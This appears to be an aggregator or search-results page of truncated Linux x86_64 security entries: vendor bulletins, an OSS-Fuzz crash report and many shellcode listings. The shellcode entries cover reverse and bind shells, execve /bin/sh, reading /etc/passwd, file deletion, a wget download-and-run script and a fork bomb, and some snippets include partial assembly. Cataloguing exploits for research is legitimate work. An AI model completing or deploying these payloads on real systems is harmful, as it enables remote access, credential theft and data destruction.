OSV-2021-1809 Heap-buffer-overflow in ujson.cpython-38-x86_64-linux-gnu.so

OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=44973 Crash type: Heap-buffer-overflow WRITE 1 Crash state: ujson.cpython-38-x8664-linux-gnu.so ujson.cpython-38-x8664-linux-gnu.so ujson.cpython-38-x8664-linux-gnu.so...

Security Bulletin: Vulnerability in Apache Tomcat affects IBM Platform Symphony

Summary This interim fix provides instructions on upgrading Apache Tomcat from v6.0.43 to v8.5.41 in IBM Platform Symphony 7.1 Fix Pack 1 in order to address security vulnerabilities CVE-2019-0199 and CVE-2019-10072 in Apache Tomcat. Vulnerability Details CVE-ID: CVE-2019-0199 DESCRIPTION: Apache...

Security Bulletin: Vulnerability in Apache Tomcat affects IBM Platform Symphony

Summary This interim fix provides instructions on upgrading Apache Tomcat from v6.0.43 to v8.5.37 in IBM Platform Symphony 7.1 Fix Pack 1 in order to address security vulnerability CVE-2018-11784 in Apache Tomcat. Vulnerability Details CVE-ID: CVE-2018-11784 Description: Apache Tomcat could allow...

K55 - Linux X86_64 Process Injection Utility | Manipulate Processes With Customized Payloads

pronounced: "kay fifty-five" The K55 payload injection tool is used for injecting x8664 shellcode payloads into running processes. The utility was developed using modern C++11 techniques as well as some traditional C linux functions like ptrace. The shellcode spawned in the target process is 27...

Linux/x86_64 - Reverse Shell (/bin/sh) with Configurable Password Shellcode (120 bytes)

/ ; Title : Linux/x8664 - Reverse Shell /bin/sh with Password configurable 120 bytes ; Date : 2019-08-18 ; Author : Gonçalo Ribeiro @goncalor ; Website : goncalor.com ; SLAE64-ID : 1635 global start %define pass "pass" %define port 0x5c11 ; htons4444 start: jmp realstart password: db pass passlen...

Linux/x86_64 - Wget Linux Enumeration Script Shellcode (155 Bytes)

/ LinEnum Linux Enumeration Wget & CHMOD & Run Shellcode Language C & ASM - Linux/x8664 author : Kağan Çapar contact: email protected shellcode len : 155 bytes compilation: gcc -o shellcode shellcode.c test: run ./shellcode description: First, the linenum script is via github with wget command...

Linux/x86_64 - Reverse(0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode (70 bytes)

/ Title: Linux/x8664 - Reverse0.0.0.0:4444/TCPShell/bin/sh- Null Free Shellcode ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 70 bytes ;github = https://github.com/STARRBOY compilation and execution of assembly code ------------------------------------- nasm -felf64...

Linux/x86_64 - execve(/bin/sh) Shellcode (22 bytes)

Title: Linux/x8664 - execve/bin/sh 22 bytes ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 22 bytes ;github = https://github.com/STARRBOY ============ASM=========================== global start section .text start: ;int execveconst char filename, char const argv,char const...

Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (104 bytes)

;Title: Linux/x8664 - Bind 4444/TCP Shell /bin/sh 104 bytes ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 104 bytes ;github = https://github.com/STARRBOY ;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444"...

Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) #Shellcode (131 bytes)

Exploit for linux/x86-64 platform in category shellcode ;Title: Linux/x8664 - Bind 4444/TCP Shell /bin/sh ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 131 bytes ;github = https://github.com/STARRBOY ;test shellcode = after you run the shellcode, open another terminal and...

Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (131 bytes)

;Title: Linux/x8664 - Bind 4444/TCP Shell /bin/sh ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 131 bytes ;github = https://github.com/STARRBOY ;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444" ================== ASSEMB...

Linux/x64 - Execve(/bin/sh) Shellcode (23 bytes)

/ ;Category: Shellcode ;Title: GNU/Linux x8664 - execve /bin/sh ;Author: rajvardhan ;Architecture: Linux x8664 ;Possibly The Smallest And Fully Reliable Shellcode =========== Asm Source =========== global start section .text start: xor rsi,rsi push rsi mov rdi,0x68732f2f6e69622f push rdi push rsp...

Linux/x86-64 - Delete File Shellcode (28 bytes)

;Title: Linux/x8664 - delete ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 28 bytes This shellcode deletes file declared in "fname" ==================ASSEMBLY ======================================== global start section .text start: jmp short file delete: push 87...

FileZilla 3.40.0 Denial Of Service

Exploit Title: FileZilla 3.40.0 - "Local search" Denial of Service PoC Discovery by: Mr Winst0n Discovery Date: February 20, 2019 Vendor Homepage: https://filezilla-project.org Software Link : https://filezilla-project.org/download.php?type=client&showall=1 Tested Version: 3.40.0 Tested on: Kali...

Security Bulletin: Tivoli Storage Manager Linux x86_64 Client Arbitrary DSO Load Elevation of Privileges (CVE-2014-6185)

Summary A vulnerability in the IBM Tivoli Storage Manager TSM Linux x8664 client could allow a local user to gain elevated privileges due to an arbitrary DSO load. Vulnerability Details CVEID: CVE-2014-6185 DESCRIPTION: IBM Tivoli Storage Manager could allow a local attacker to trick one of the...

Linux/x86-64 - sys_access() Egghunter Shellcode (49 bytes)

; Author Doreth.Z10 ; ; Linux x8664 Egghunter using sysaccess ; Shellcode size 49 bytes ; global start section .text start: xor rsi, rsi ; Some prep junk. push rsi pop rdx push 8 pop rbx goendofpage: or dx, 0xfff ; We align with a page size of 0x1000 nextbyte: inc rdx ; next byte offset push 21 p...

Linux/x86-64 - Read /etc/passwd Shellcode (82 bytes)

BITS 64 ; Author Mr.Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x8664 Shellcode ; Shellcode size 82 bytes global start section .text start: jmp pushfilename readfile: ; syscall open file pop rdi ; pop path value ; NULL byte fix xor byte rdi + 11, 0x41 xor rax, rax add al, 2 xor rsi, rsi ; s...

Linux/x86_64 - mkdir() evil Shellcode (30 bytes)

/ ;Title: Linux/x8664 - mkdir shellcode 30 bytes ;Author: Touhid M.Shaikh ;Contact: https://github.com/touhidshaikh ;Category: Shellcode ;Architecture: Linux x8664 ;Description: Create Folder with 755 permission. ; You can Change folder by change code in ASM in fname Field ;Shellcode Length: 30...

Linux/x86_64 - mkdir() 'evil' Shellcode (30 bytes)

Linux/x8664 - mkdir 'evil' Shellcode 30 bytes. Shellcode exploit for Linx86-64 platform / ;Title: Linux/x8664 - mkdir shellcode 30 bytes ;Author: Touhid M.Shaikh ;Contact: https://github.com/touhidshaikh ;Category: Shellcode ;Architecture: Linux x8664 ;Description: Create Folder with 755...

Linux/x86_64 - Fork Bomb Shellcode (11 bytes)

/ ;Title: Linux/x8664 - fork Bomb 11 bytes ;Author: Touhid M.Shaikh ;Contact: https://twitter.com/touhidshaikh ;Category: Shellcode ;Architecture: Linux x8664 ;Description: WARNING! this shellcode may crash your computer if executed in your system. ;Shellcode Length: 11 ;Tested on : Debian...